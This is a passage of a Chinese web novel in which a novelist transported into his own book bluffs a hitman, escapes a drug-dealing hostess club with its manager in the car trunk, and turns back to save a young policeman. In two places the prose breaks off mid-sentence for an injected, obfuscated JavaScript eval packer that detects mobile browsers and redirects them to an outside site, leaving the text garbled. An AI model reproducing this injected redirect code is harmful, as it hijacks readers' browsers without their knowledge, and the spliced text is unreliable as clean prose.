他强迫自己冷静,至少表面要冷静。 现在,他能做的不多,仅仅只是扮演。 卫极画低下头,回想在镜子前扮演“主角”,幻想用刀刺入人体的感觉。 要疯!还要比疯子更疯!但要把握住外显的程度,否则只会显得低级可笑。 那就……温和有礼! 卫极画控制嘴角缓缓上扬,最终定格成一个浑然天成,令人脊椎发凉的微笑弧度。而他却恍然未觉,挂着这样扭曲的笑容微微俯身,温柔地捧起驯兽师的脸。 “一直在看我的,是你吗?你是剧团的人?” 卫极画的声音很轻很轻,低得几乎诡异,尾音的余韵融化在屋外的闷雷里,似无言叹息。明明是如此温和平静的话,无端叫驯兽师毛骨悚然,好像被某种湿冷的鬼物攀附,轻悄扼住脖颈。 恐惧炸响,驯兽师肌肉紧绷,浑身的汗毛都如针尖竖了起来!脑子里只有一个念头:难道卫极画一开始就知道自己在看他?还提前知道剧团的存在?! 这怎么可能……卫极画什么时候知道的?杀死隔壁那栋楼公寓里的父子俩之前?还是剧团长派他来监管的时候? “别紧张,我只是来和您打个招呼。”卫极画用手背轻飘飘拍拍驯兽师的脸,姿态亲昵,语调堪称温和,“您盯着我看那么久,不来打个招呼有些失礼。” 从三十八楼跳下来,就为了跟他打个招呼? 疯子!疯子!不可理喻!卫极画哪里是个需要考验的新人,完全就是个彻彻底底的神经病! “您在想什么?”卫极画忿忽冷下脸。 驯兽师打了个颤,“没有……” “哈…”卫极画笑了一声,不置可否,“您可真无趣。” “无趣?”驯兽师愣愣的看着卫极画,不能理解他跳跃的思维。 “我是说,您的游戏很无趣。每隔30分钟向警察发送一次我的定位,在这之前杀了你,可现在…” 卫极画说到这里时顿了顿,一时没想起来要说什么,抬起驯兽师手腕上的手表,“哦,现在才两分钟,这么快就被我抓住也太逊了,你这样的废物,我连杀你的欲望都没有。” “这样吧,你来逃,再给你一次活命的机会?” “什、什么?”驯兽师不可置信。 卫极画微笑:“三。” “你什么意思?!” 卫极画站起身,笑容不变,“二。” 三秒钟倒数?!!疯子,疯子! 驯兽师脸色大变,什么都来不及拿,忍着肋骨断裂的剧痛迅速冲出公寓! 卫极画的声音轻飘飘落下,“替我向剧团长问好。” 楼道中的急促脚步未见停顿,反而加快,飞速消失。 卫极画等了一会,没再听到动静,维持着笑容踏出破碎的公寓大门。 没人? “一?” 卫极画小声继续倒数试探,“0.9?” “0.8?” 他的声音在空荡的走廊间荡出回音,没人回应。 真走了? 卫极画虚脱地缩回公寓,心头提着的那口气松懈,镇静的表情终于崩裂,顺着墙壁缓缓滑坐在地。 妈呀,吓死人了,总算给骗走了。 4. 豆奶血案 假装变态神经病去恐吓知名犯罪组织的职业杀手,从小就是三好公民的卫极画第一次干这么刺激的事。 回想刚才自己的表演,他有些心惊后怕。 大抵他在此道上确有天赋,驯兽师真被吓跑了。不过这只是卫极画获取喘息之机的权宜之计,等后面驯兽师反应过来卫极画没去抓他,一定会加以报复。 此地不宜久留! 不止驯兽师有可能回来,警方也有可能随时搜到这里。他必须要找到一个安全的地方把身上沾了血的湿衣服换了。 卫极画的嘴唇冻得有些发青,从地上捡起了驯兽师的风衣外套。 驯兽师逃得太急,这套衣服和证明身份的胸针一起落在了原地,卫极画将长风衣披在身上,挡住自己衣服上的血迹,胸针则揣进了兜里。 地上还有一个驯兽师遗落的吉他盒,卫极画稍微检查,发现里面是把被拆开的狙击枪,想着可能会有用,确认没有定位器之类的东西,便关上盒子,也背上了。 如今,他看起来就像一个偶然路过的过路人,若无其事地下了楼。 “灰雨公寓现在戒严!闲杂人等赶紧走!别围在这儿妨碍办案!” 雨还没停,隔壁那栋楼的封锁闹得很大,警车的警示灯忽闪忽闪,许多好事群众围上去看热闹,几个警察正吆喝着维持秩序。 人类的本质是凑热闹,转身就走反而容易被怀疑。 卫极画趁着混乱,假装无辜群众,好奇地对着案发现场探头探脑。前头正好有一位年轻警官在警戒线后面站着。 “警官,里面发生什么了?”卫极画眨眨眼问。 年轻警官被看热闹的群众挤得很烦躁,本来准备语气凶一点,抬头看到卫极画苍白的脸和湿漉漉贴在脸上的黑发,又把到喉咙里的话咽了回去。 “没什么大事,快回家去吧,天快黑了,不安全。” “哦……”卫极画老实巴交点头,扯了扯背着吉他盒的肩带。 他本来就不是真的好奇,只是装装无辜路人,免得警察到时候没在楼里找到凶手,查外面的监控发现他的异常。 现在演够了,正好借着这位警官的劝告赶紧逃离现场。 “等等!”警官看着卫极画转身离开,目光忽然落在他身后漆黑的吉他盒上皱了皱眉,出言把卫极画叫住。 卫极画脚步一僵,瞬间感知到周围其他警察和民众随着警官叫住他的声音,似有似无地向他投注视线。 现在逃,会被一拥而上摁在地上吧? 他随即恢复如常,故作疑惑地望着那位年轻的警官。 “你等会儿。”警官转身,从警车里掏出一把伞递给卫极画,“拿着。” 是一把绘有浪花的黑胶折叠伞,巴掌大小,精致小巧,女孩们装在包里可以随身携带,即能遮雨又能防紫外线。 这样的伞卖得很贵,卫极画在商场见过,要300多一把。 所以这是什么意思? 警官显然也看到了卫极画的疑惑,他爽朗一笑,露出尖尖的虎牙,指了指自己身上的雨衣,“我有这个,不需要伞。这是今天出门前我妈硬塞给我的。你拿着吧,附近很难打着车,就算自认为身体好不怕感冒,背着的吉他也容易淋坏。” 显然,他以为卫极画是个贫穷的落魄艺术家,为了让卫极画收下伞,只说吉他会被淋坏,委婉地照顾卫极画的尊严。 卫极画哑然,张了张嘴,“这太贵了,我不能……” 穿越来这个陌生的世界就是生死危机,卫极画一直紧绷着神经,突然接受到这样的善意,有些无所适从。 “拿着吧。”警官梳到脑后的小卷毛很潇洒神气地反翘,强硬把伞塞进卫极画手里,声音轻快,“实在过意不去的话,下次有机会见面再还我。” 说完,警官就像只安抚犬一样朝卫极画偷偷眨眨眼,继续去维持秩序了。 卫极画站在原地沉默了一会儿,在雨中撑开这份宝贵的善意,慢吞吞地离开。 然后就没有然后了。 像电影结束后独自离开电影院,从故事当中脱离,再次回到现实,心中生出巨大的空洞与落差。 卫极画不知道自己该去哪儿。 天至暮色,路上的行人大多脚步匆匆,街道上很快就空了。路灯适时亮起,昏黄的灯光在雨幕中并不清晰。 卫极画撑着伞,独自站在雨中,不知何去何从,忽然被一股巨大的孤独感席卷。 他所拥有的一切都变成了空白。 没有原书主角的记忆,没有住的地方,没有身份证明,没有手机,没有钱。就算现在去找工作,也没人会要他这样一个拿不出身份证明又来路不明的家伙。 而警方,早晚会通过线索抽丝剥茧追查到他。驯兽师也随时可能识破他的伪装进行报复。 还有驯兽师背后的剧团。 剧团这个庞大的犯罪组织就像悬在他头顶的达克摩利斯之剑,卫极画永远也无法猜到这把剑究竟何时会坠落。 逃离凶杀现场的时候太紧迫,只想着在绝境中活下去,逃出来后,卫极画忽然意识到,自己在这个陌生的世界寸步难行。 他一生都活在社会的规则里,困在信息茧房中,循规蹈矩地上学、考试、工作。他不知道该如何处理这样的情况。没有任何经验,也无从下手。 卫极画曾像大多数人一样,小时候梦想着成为科学家、宇航员、成为优秀又值得父母骄傲的人,长大后却日复一日,被社会规训,像流水线制造出来的模板,变成泯然于众的张某、李某…被抹消掉所有特点,丢失自己真正的名字。 没有上流人的眼界与远见,也没有底层人不要命的凶狠和不择手段。 世界只让他这样的普通人学会被支配。不能懒惰、不能争抢、叫他要与人为善,受到不公正对待要隐忍不发,不能成为社会的不稳定因素。让他习惯服从,让他相信社会,相信领导者的决策。 可现在,做决策的一切都不在了,没人能帮他了。 他真的好难受,又冷又饿,还感觉好累。 卫极画眼睛发涩,想哭,出于成年人的自尊,又强行忍着眼泪怕被人看见,在街角无人的店铺门檐下孤零零蜷缩着。 滴—— 一辆黑色的商务车在转弯处停下,车灯刺破雨幕照到卫极画身上。 卫极画愣了愣,还停留在普通人思维,以为自己挡着了人家的店铺,挪了挪身子,换了家店蹲。谁料那辆车跟着他不放。 这下,卫极画松懈的神经瞬间警惕。 他现在不但被警方追捕,还被剧团盯上了!刚才看见这车子怎么就没第一时间反应过来可能会是来找他的! 卫极画下意识想跑。 “等等,交个朋友!” 车子一个漂移堵住他的前路,驾驶座的车窗打开,露出咬着支点燃女士香烟的明艳红唇女人,“你叫我花姐就行,我老早就注意到你一个人蹲在这里了,全世界就你最显眼,随便往街角一蹲都跟拍时尚大片似的,特别忧郁破碎,刚好我手底下缺人,有没有兴趣下海当男公关?” 卫极画:? 没看到他正在迷茫彷徨思考未来吗?这么没眼力见儿,开口就让他下海去当男公关?想钱想疯了吧!路上随便碰到个人都想榨出价值? 他就算现在身无分文,也是有底线的,他才不会—— “包吃住!不需要身份证明,工资当天现结!” …… “大小姐,不用再破费给我点酒了,已经足够多了。我很高兴能得到您的喜欢,只是…您看起来很难过,可以和我说说吗?我更想看到您的笑脸。” 奢华的包厢内,吃了客人两份果盘的卫极画扭扭捏捏,甚至有些窘迫。 他赶鸭子上架学不会调情骗钱,笨嘴拙舌,只能将心比心,不太好意思地红着脸小声继续补充,“明明笑起来很漂亮,不是吗?” 女孩儿咬紧嘴唇,抽抽鼻子,泪水终于忍不住滑落,扑进卫极画怀里,揪着卫极画的衣角嚎啕大哭。 卫极画手足无措,赶紧吞下刚才偷吃的最后一颗小番茄,迟疑了一会,才虚虚揽着女孩儿,哄孩子似的拍拍女孩儿的脊背。 他知道言多必失的道理,却还是温声柔和了眉眼,“好啦好啦…至少我觉得,你是全世界最棒的小姑娘,在我面前就放心哭吧,哭出来会好受一点,我会为你保密的。这是独属于我们两个人的秘密,不会有任何人知道。” …… “今天第一天就业绩第一,别说我们“云海”会所,在整个南刻市都是头一份儿,你还挺有天赋。”花姐看着窝在休息室自助饮食区连吃两碗饭的卫极画感慨。 还别说,卫极画乍眼看是个普通死宅小说家,但排除掉因睡眠不足而鬼气森森的阴鸷气质,光论长相,属于是走在路上披个麻袋都会有人偷看的程度。 换掉身上的湿衣服洗了个热水澡,被专门的造型师打扮一通,弱化掉那身男鬼似的的压迫感,卫极画瞬间作为“云海”会所头牌排在了身价最高的档位。试用期都没有,拍完艺术照录入身份信息,听了点儿注意事项就直接上岗了。 结果刚上岗就窝窝囊囊的把业绩干到了第一,其他同事全部加起来一个月都没他这半个晚上赚得多。 “什么?”卫极画茫然地抬起脸,磕磕绊绊为自己辩解,“我没做什么,那些客人过来找我聊天,我让她们不要浪费钱,她们就哭了。我只是看她们难过才安慰她们。” 花姐嗤笑,“随你怎么说,总之你业绩很不错,我们会所老板要见你,待会儿记得去一趟主楼的顶层办公室。” “见我?”卫极画咽下最后一口饭。不知道自己有什么好见的。 按照设定,他现在所在的地方是南刻市,全称是阿南刻(Ananke),源自希腊神话中的必然与定数女神,命运纺锤的转动者、因果律本身的化身。 阿南刻是全世界最发达的城市,位于三个国家的交界处,被誉为命运之城和逐梦之城,充满着各种机遇。 这座城市是机遇之都,自然也庙小妖风大。不但罪犯多,还很排外。 排外到什么程度呢?可能和蝙蝠侠所在的哥谭市不相上下,大概就跟在上海喝蜜雪冰城会被东方明珠变成电磁防御塔锁定扫射一个等级。 就差没来一句:外地人滚出阿南刻! 而“云海”集疗养休闲一体,在寸土寸金的市中心占地500亩。是整个南刻市最顶尖的娱乐会所。 夜间,这里总是灯火通明,纸醉金迷,空气中散发着淡淡的金钱芬芳,欧式风格的花园式建筑整齐有序,连进门处巨大的喷泉雕像都是从国外空运过来的艺术品,具体价位不清楚。 不过据说光是大厅那座手持命运纺锤的女神雕塑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914125|192492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就价值5个多亿。 卫极画觉得,自己现在没有身份证明,一看就是个外地黑户。“云海”会所开得那么大,连男公关的休息室都像自助餐厅一样摆满了各种吃的,随取随用不收钱,老板肯定分分钟几千万上下,怎么会有时间想见他这种小角色? 不对劲儿……非常不对劲儿。 花姐说老板要见他的语气不对劲儿! 不知道是不是错觉,休息室里其他男公关看他的眼神好像也挺幸灾乐祸? 卫极画隐隐有些不安。 他面上没有显露半分,努力回忆自己看过的心理学书籍,仔细观察花姐说话时的神态。 “多的我不说,我只是这家会所明面上的负责人,待会见你的才是老板,涉及到一些灰色…”花姐说到这儿,止住话头,“总之可能就是警告你几句。” 灰色产业?警告几句? 卫极画思维活泛,不经意扫到花姐的手臂——上面有几个新旧不一的针孔,皮肤隐隐泛着黑斑。 他的瞳孔瞬间放大,肩膀和手臂肌肉绷紧。转而观察其他男公关的手臂,多数都用袖子遮住,但是还是有少部分皮肤露出来,赫然是同样的针孔! 配合上花姐刚才说的灰色产业,这样的痕迹只能指向一个结果——成瘾性药物! 该死!他之前一直都没察觉到! 虽然之前花姐让他当男公关,但只是正常的陪酒工作,对走投无路的他来说是雪中送炭。 卫极画本来以为自己遇到了好人,谁想到刚才的工作内容只是对他的试探,发现他没问题就想用这种方式控制他! 哈、哈哈…他说怎么会突然天上掉馅饼,让他找到那么好的工作……原来这里是个贼窝啊。 卫极画心里欲哭无泪。 《倒霉熊》不是停播了吗?怎么现在又开拍了?还找他来当主角? 他怂得今天的工资都不敢跟花姐要,非常想拔腿就跑。 一套连着一套的,“云海”会所到底用这种方式害了多少人啊……要不要找人借手机报警? 不,不行,“云海”能存在那么久,肯定是和上面有关联的地头蛇,有权有势。随便伸个指头就能把他弄死。 休息室里的其他男公关也不值得相信,他们的确是受害者,但听到老板要见他的时候什么都没说,看他的目光都是幸灾乐祸,肯定都是为虎作伥的伥鬼,稍有不对,就会告发。 绝对不能硬来,得找机会偷偷逃走。 卫极画视线不留痕迹地偏向休息室外,外面密密麻麻围满了黑衣纹身的打手。 他转换方向,通过银质烛台对窗户的反光窥视他现在所处的会所主楼下方…下面不知何时也被围起来了。 不能走正常通道。 卫极画垂眸,看到休息室一叠叠储物柜最深处用于防备警方检查的隐藏电梯。 花姐刚才就是带他从那里进来的。 ——但那部电梯需要指纹认证,只有花姐才有这个权限。 怎么办?怎么办?想想…… 卫极画焦躁得坐立难安,为了掩饰自己的异常,离开座位从自助区的桌子上端了一杯豆奶。 “哎!” 一个搬东西的打手撞上了他,卫极画下意识扶了一把,把手里的豆奶暂时放在牛奶区域。 “干什么吃的?走路都走不好!”花姐低骂不长眼的打手,冲过来小心翼翼检查卫极画的情况,“脸有没有伤到?你这张脸是摇钱树,待会可是要见老板的!” 卫极画心虚,“没事。” 打手连忙跪在地上认错,“对不起花姐,我不是故意撞到画先生的!” “废物!”花姐愤怒地踹了他一脚。 打手闷哼一声,为了装可怜让花姐消气,故意顺着力道往后滚了一段距离。 ——他没注意到后面还有人。 “咚!” 倒霉被撞倒的男公关脑袋磕上了椅子,如同多米诺骨牌被推倒的连锁反应,椅子撞倒了一面墙上的储物柜,储物柜的边角恰好因为磨损,以至于不够稳固瞬间倒塌,将休息室内的其他男公关重重砸倒! “死人了,死人了!” 原本安静的休息室陷入了混乱!尖叫哀嚎不绝于耳! “愣着干什么?快去找人来帮忙!” 听到花姐恼怒的声音,门外的打手终于急急忙忙想把储物柜扶起来,可人一多就造成了踩踏事故,堵在门口进也进不来。 “一群笨手笨脚的废物!”花姐气得心头鬼火冒,随手端起卫极画刚才暂放在牛奶区域的豆奶,看也没看就灌了一口。 “呃——” 她立刻感到喉咙发紧,传来一股诡异的灼热感,好像有东西堵住了。 喉咙和呼吸道肿胀,窒息感随即而来。 花姐挣扎着扼住了自己的脖子,发出“嚯嚯”的嘶哑气音。 门口拥挤的人群中不知是谁喊了一声:“是不是谁把牛奶和豆奶放错了!花姐对豆制品过敏!” 过敏? 机不可失,失不再来! 卫极画面色一肃,连忙扶住失去抵抗能力的花姐,逆着人流着把她往休息室深处的隐藏电梯拖,一边拖一边扯着嗓子悲切大喊,“医生!快去找医生!呜呜呜花姐!所有人都小心点,别踩着花姐!花姐我现在就带你去安全的地方!花姐你可一定要撑住啊!” 5. 伞 灰雨公寓。 被杀死的父子尸体已经被搬走,但破碎的落地窗和案发现场一如既往。 “陈队,整栋楼都搜遍了,没有找到凶手!而且由于是高级公寓的原因,这里很注重隐私,只有电梯内部和外面广场才有监控,凶手没有走电梯,广场也什么都没拍到。”长相清秀稚嫩的圆脸警察说。 负责这个案件的陈永年闻言,头疼地揉了揉太阳穴。 这个案件完全不同于他的往常经验,现场处理老练,没有留下任何线索。凶手仿佛凭空消失。这让他不禁怀疑地看向自己先前否决说绝不可能有人成功逃生的破碎落地窗。 当所有线索都指向一个结果,哪怕再荒谬,那也是真相。 不,不对。人类绝不可能办到这样的事。陈永年坚定自己的判断,换了一条思路问:“两个死者的身份查出来了吗?还有死者今天是请谁过来吃饭?” “额,有点复杂。”圆脸警察打开档案袋,“死者季景,41岁,季氏财团的继承人。十年前跟家里闹翻以后就跑出来做律师了。” 季氏财团? 陈永年眼中闪过惊愕,哪怕是以他在职多年的严肃稳重,也忍不住烦躁咂舌。 季氏财团横跨诸国,干的是军火和情报生意,势力极大,十分招人眼红。谁能想到他们的继承人会跑到南刻市这地方来当律师?假如是仇家下手,那就难查了。 光是季氏财团的继承人死在南刻市这一点就是个大麻烦。关键是这个麻烦还很难脱手。 陈永年叹了口气,“另一个死者呢?年轻的那个。” “另一个死者叫季之羽,确实是季景的儿子,但我们验尸时顺便验了DNA,发现季之羽不是亲生的,派人查询后得知季景的亲生儿子在出生时被保姆恶意调换了。” 恶意调换? 难道是亲生儿子得知这件事后蓄意报复? “亲生儿子被保姆调换,季景知道这件事吗?” “前段时间知道的。”圆脸警察有点同情,言语间带着隐隐的忿忿不平,“他的亲生儿子过得很不好,保姆好赌,一直磋磨那孩子,那孩子跟着在他家当佣人。 但季景查出来以后只处理了保姆。生怕伤害到养子的心情,把事按下来了,除了他自己没别人知道。今天吃饭是庆祝养子季之羽考上南刻大学。请谁吃饭还没查出来。” “办案时不要夹带私人情绪。不能因为死者品行不端就抱有偏见。更何况死者的身份复杂,我们都惹不起。”陈永年目光锐利。 圆脸警察嚅嗫,“是……师傅。” 陈永年看徒弟认错,点点头,“那个被恶意调换的亲生儿子叫什么?” 圆脸警察急于将功补过,连忙翻开下一页档案。可翻到那一页时,却有些恍惚。 那页档案并不是按照特定格式的人物信息,标题栏处标注着一行醒目黑体字: 【主角人物小传】 圆脸警察揉了揉眼睛,发现纸质档案内容竟然像电子信息错乱那样抽搐成乱码。原本那张阴郁少年的1寸照片变成了一位灰蓝色眼眸的陌生青年,年纪栏的18岁也变为21岁。 空白的姓名栏开始扭曲出字符: 【卫极画】 世界将一切自动合理化,圆脸警察潜意识忽略了所有异常。 “这里,师傅。”他将档案递给了陈永年。 “诶!陈队,我几个小时前在楼下维持秩序的时候见过他!”偶然上来的另一位警察看见档案惊呼了一声,赫然就是给卫极画送过伞的那位年轻警官。 “什么?”陈永年抓住线索,“他有什么表现?” “他浑身都淋湿了,脸上特别苍白,看见拉起来的警戒线还问我楼上发生什么了。”年轻警官回忆。 陈永年和一旁的圆脸警察对视一眼。 根据现有的线索,“卫极画”很有可能是今天这顿饭邀请的另一个人,也很有可能是犯案嫌疑人,至少,一定会知道些什么! “他往哪走了?马上调取相应街道监控!” “找到了,他上了一辆黑色的商务车,目的地在……云海会所!” …… “我们‘云海’就没出过这么大的乱子!” 男公关休息室的混乱闹得很大,一层一层传到了云海会所主楼顶层办公室。 大腹便便的会所老板王海龙叼着雪茄,抄起桌上的烟灰缸砸在秘书头上,“这种小事砸死了三十多个人?现在还没有弄清楚原因?一句巧合就想解决了?当我傻好糊弄吗? 难不成还能是谁没眼力见儿把死神给请进来了?!死神对着犯罪名单一个个的杀是吧?你们花姐呢?” 秘书伊娃的脑袋被砸出一个豁口,血迹蜿蜒着从原本干练盘起的靓丽金发间流淌到脸上,她却不敢动,忍着痛楚颤声道,“Boss,她突发过敏,被今日新来的男公关带去找医生了。” “今天刚来就业绩第一的那个?”会所老板王海龙略微狐疑,得到了秘书伊娃的肯定答复后才缓缓道,“倒挺会来事的,等他回来了好好给他说道说道规矩,别让他跑了。” 说着,王海龙呼出一口烟,望着在窗外远方夜幕中闪烁的城市霓虹,“伊娃,你知道吗? 这南刻市看着光鲜,暗处都是有主的,每个月都得上交规定数额的例钱,议员、黑/道、还有我们头顶供货的季氏财团,哪一方的分成交不上,我们都没好日子过。 况且最近,上面的议员正在准备选举,要上下打点的钱就更多了。为了安稳度日,这些都是我们该做的。 可剧团…剧团把这里当成他们的地盘,不让人/口/贩/卖就罢了,居然连成瘾性药物的生意都不准做,活脱脱要逼死我们,弄得我们像阴沟里的老鼠一样…… 哎,算了,吩咐下面都给我当心着点,杀几个立立威,别引起剧团那群疯子的注意。” 秘书伊娃点头,默默退下了,高跟鞋行走在猩红的地毯上没有发出任何声音。 她就这样维持着谦卑的姿态,直到完全退出顶层办公室,转身,表情变得狠厉,脚步越来越快,直直走向下行电梯,“咔哒”抽出绑在制服套裙下的枪上膛。 她要一层一层敲打下面那群害她受罚的废物! “叮咚——” 电梯停靠的提示音回荡在空旷的地下车库。 传言中“送花姐去找医生”的死神卫极画从电梯里走出来,扯了扯自己身上为当男公关专门换的工作服,将袖子挽至小臂,单手扛起还在不断挣扎的花姐。 这个地下车库是隐藏的员工车库,现在是夜晚工作时间,没有其他人,整个车库空旷明亮,周围还有水晶装饰,空气里散发着淡淡的柑橘调香薰味儿。 卫极画按照记忆,顺利在一众不认识的豪车里找到了花姐的车,从花姐皮包摸出车钥匙打开后备箱。 “咚!” 卫极画毫不客气地将花姐塞进去,还特别谨慎地检查了后备箱,确认没有抑制过敏的紧急备用药物,才关上。 真是出息了,今天刚穿越过来的时候看到尸体都吓得不行,现在短短半天,居然敢把人往后备箱塞。 还得是环境造就人啊。 卫极画感慨抹了把汗,把自己趁机从储物柜里拿回来的东西和装着狙击枪的吉他盒放进后座。 他被花姐带来云海会所时洗了热水澡,换了现在这身一看就很讲究的男公关套装,还在休息室的自助区吃了顿饭。 仔细想一想,这趟其实也没有很亏。 至于今天工资没拿到,不算要紧,花姐皮包里有一沓现金,够他苟活一段时间了。等逃出这里,找个不要身份证明的小旅馆就可以安稳睡一觉,结束这充满生死危机的一天。 点头yes摇头no!逃离贼窝go go go! 卫极画哼着歌,发动车子。车子穿越车库底端隧道,绚丽的灯光依次亮起。 驶出车库,滴滴答答的雨声砸在车顶。 天上的雨从穿越到现在都现在还没停,只不过由倾盆大雨变成柔和的阴雨,敲着车子像惬意的催眠曲。 这种天气是很适合睡觉的。 卫极画困倦地打了个哈欠,特地绕路,避开在会所内部巡逻的打手和监控从后方侧门离开,汇入了主干道的车流,跟着前方的车子等红绿灯。 几辆顶端响着警报的警车在另一侧道路和卫极画擦肩而过。那边在路面抢修,车轮碾碎沥青道路上凹凸不平的水洼积水,溅起的水花有些都跳到了卫极画的车窗上。 南刻市被评为犯罪率最高的城市,路上见着警车不稀奇。无奈卫极画本人是个薛定谔的在逃通缉犯,替原书主角背了两条人命的黑锅,开着的车里也都是违禁物,后备箱装着个人,后座里还放着把狙击枪。 听到警车的声音,卫极画条件反射心虚,心里七上八下,总担心是来抓自己的,忍不住回头看了一眼。 三辆警车,带头的是个国字脸的中年警官,副驾驶坐的是另一个长相稚嫩清秀的圆脸警察。大概是中年警官带的徒弟。 他们目标方向那条路只能通向云海会所。 不会吧,真是来抓他的? 卫极画赶紧若无其事转回头,庆幸自己提前逃出来了。可回头的瞬间,余光却看到最后一辆警车上坐着一位有点眼熟的面孔。 穿着雨衣,身上有股自由散漫的气质,微卷的头发神气地梳在脑后,像只得意的安抚犬。 ——是那位给他送过伞的年轻警官。 细密的雨滴砸在挡风玻璃上,被不断运行的雨刮器机械性抹除,卫极画抓着方向盘,脑子里短暂闪过了点什么,潜意识觉得很重要,但信息太碎片化,大脑又因太久没有休息发钝,一时没想起来。 究竟是什么呢? 十字路口的红绿灯闪动,变为允许通行,前方的车辆像水中的游鱼恢复流动。 “滴滴——” 被堵在卫极画身后的车辆不停按喇叭。 “前面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914126|192492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !到底走不走啊?!” “抱歉,不小心走神了……”卫极画尴尬地赔笑,连忙启动车子,脑子里却还在试图抓住刚才那点灵光。 贩卖违禁药物的会所…年轻警官…… 他想起来了! 那位年轻警官是他在粗略大纲中给原书“主角”设置的第一次剧团任务线索! “剧团”将南刻市视为私有物,不允许违禁成瘾性药物存在,驯兽师故意为难“主角”,命令作为编外成员的“主角”独自处理一条隐蔽的新型违禁药物走私线。 主角在新闻中偶然得知南刻市执法局局长的儿子失踪,才摸到了一家伪装成合法产业的男公关会所。 自由散漫,性格爽朗热忱,正是那位局长儿子的特征。 他叫秦惊浪。 卫极画先前给书中主要角色做人物小传的时候,顺带给他也做了一个。 秦惊浪身上有一种幼稚天真的正义感,经常因为不听命令、偷偷替受害者教训没有得到应有惩罚的犯人而受到处分,职位一降再降。 要不是他父亲是执法局局长,估计连警察都做不成。 他和执法局同事一起在追凶途中进入云海会所,被会所用维护客户隐私信息为由搪塞打发。 于是他背着带队的前辈,偷偷用客人的身份独自混入会所,得知了会所贩卖特殊违禁药物、还利用这种新型药物控制所有内部人员的真相。但在逃离中途被抓住。 “主角”发现他的时候,这位像只安抚犬一样活泼热情的年轻警官被砍了手脚、拔掉舌头、刺瞎了眼睛,用铁钩子挂在地下室中央,只剩下一口气,给那些因为不屈服而被囚禁的幸存者杀鸡儆猴。 当初…卫极画只是站在高纬的角度,把他天真的正义、他不顾身安危的坚持、他的人生,当做一串衬托“主角”观察能力细致入微的普通背景板随手写出来。 现在他变成了活生生的人。 那么,要去救他吗? 可自己刚从那个贼窝里逃出来,碰了天大的运气才成功脱身。卫极画想:说不定地底下的祖宗为了让我活着到处托关系,把头都磕烂了。 卫极画对自己的本事一直有很清晰的认知,他这种一辈子都平平无奇的普通人,哪里配去逞英雄? 他自己能不能活得过明天都不一定,有什么资格去拯救别人的生命? 云海会所里可全都是敢顶风作案、掌控违禁药物走私线的狠角色,这是要人命的。一环接一环,牵连着上面掌权的保护伞。哪怕举报,也会被无形的大手按下来。 秦惊浪作为执法局局长的儿子都是这样惨烈的下场,何况是他? 好不容易逃出来,要是再回去羊入虎口,就不一定有命活着出来了。 而且…他穿越前为码字熬了一宿,今天一整天又生死危机,算起来已经超过48个小时没休息了,脑仁儿一跳一跳的疼,状态很差,大脑迟缓得思维都是木的,假如为了热血上头去救人,死在那儿,一点血花都溅不起来。 人都是畏惧死亡的。要任何一个普通人主动为了一个不熟的角色去死,得到的结果都会是拒绝,这完全违背生物本能。 卫极画纠结地跟着车流往前继续行驶,看着身后不断的车子,给自己找了一堆理由: “秦惊浪”只是一个故事里的背景板罢了、只是背景板,这个世界都是虚假的,仅仅只是他随手写出来的一本书,没必要为一个角色愧疚。 哪个小说作者会为自己随手写出来的一段话愧疚?那才不正常吧?而且这条路禁止逆行呢…怎么能违反交通规则掉头返回去呢? 他在这个危机重重的陌生世界努力活到现在已经很艰难了,何必为一面之缘的陌生人赌上性命? 说不定这个世界都只是他熬夜码字不小心睡着做的一场梦,等到找个地方睡一觉,醒来就会回到他原本的世界,见到他熟悉的书房。 对吗? 卫极画沉默地伸手打开驾驶座的窗户,让雨夜冷冽的空气为大脑带来一丝清明。 哪怕当初在灰雨公寓楼下见到的那个有着神气小卷毛和尖尖小虎牙的年轻警官看起来再真实……也终究是虚假的人物。 这个世界像潭深不见底的危险死水,死个人而已,怎么会有浪花呢? 闷雷在云层深处滚动,惨白的闪电撕裂昏暗夜色。 轰隆—— 雨不知何时又变大了,豆大的雨点开始砸落,很快就变成了暴雨,噼里啪啦砸在车顶和挡风玻璃上,雨刮器的功率被调到了最大,还是难以抹去这连绵的雨水。 秦惊浪,秦惊浪。 卫极画的车子压过突出的减速带,驶入高架桥,车身一抖。原本放在后座风衣衣兜中的东西“咕嘟咕嘟”滚落到车厢内。在雨声中震耳欲聋。 是一把精致小巧的、绘有蓝色浪花的折叠伞。 ——如同惊浪。 后方传来惊恐避让的鸣笛声,卫极画在禁止逆行的高架桥上猛然调转车头! 6. 演员的诞生 卫极画悲哀地发现,当他纠结要不要去救秦惊浪的时候,其实已经下定决心要回头了。 假如他真的不想救,最开始就不会想那么多该不该回去救人的理由,而是开着车直接离开。 赌上性命去救一个注定要死的虚拟角色,听起来简直就是个俗套的圣母剧情。 如今读者最厌烦的就是“圣母”主角。卫极画当初要是敢在小说里公然投毒写出这种招人恶心的玩意儿,绝对会被人在评论区骂几百层楼,搞不好饭碗都得丢。 ……他其实也很想逼迫自己像那些故事里讨喜的主角一样理智一点、杀伐果断、冷血利己,但到头来,卫极画发现自己就是团扶不上墙的烂泥。 是,秦惊浪最开始只是一个他随手写出来的虚拟角色,是剧情需要的祭品,书中甚至还有千千万万比秦惊浪更惨的受害者,都是卫极画预备着给“主角”准备的经验。 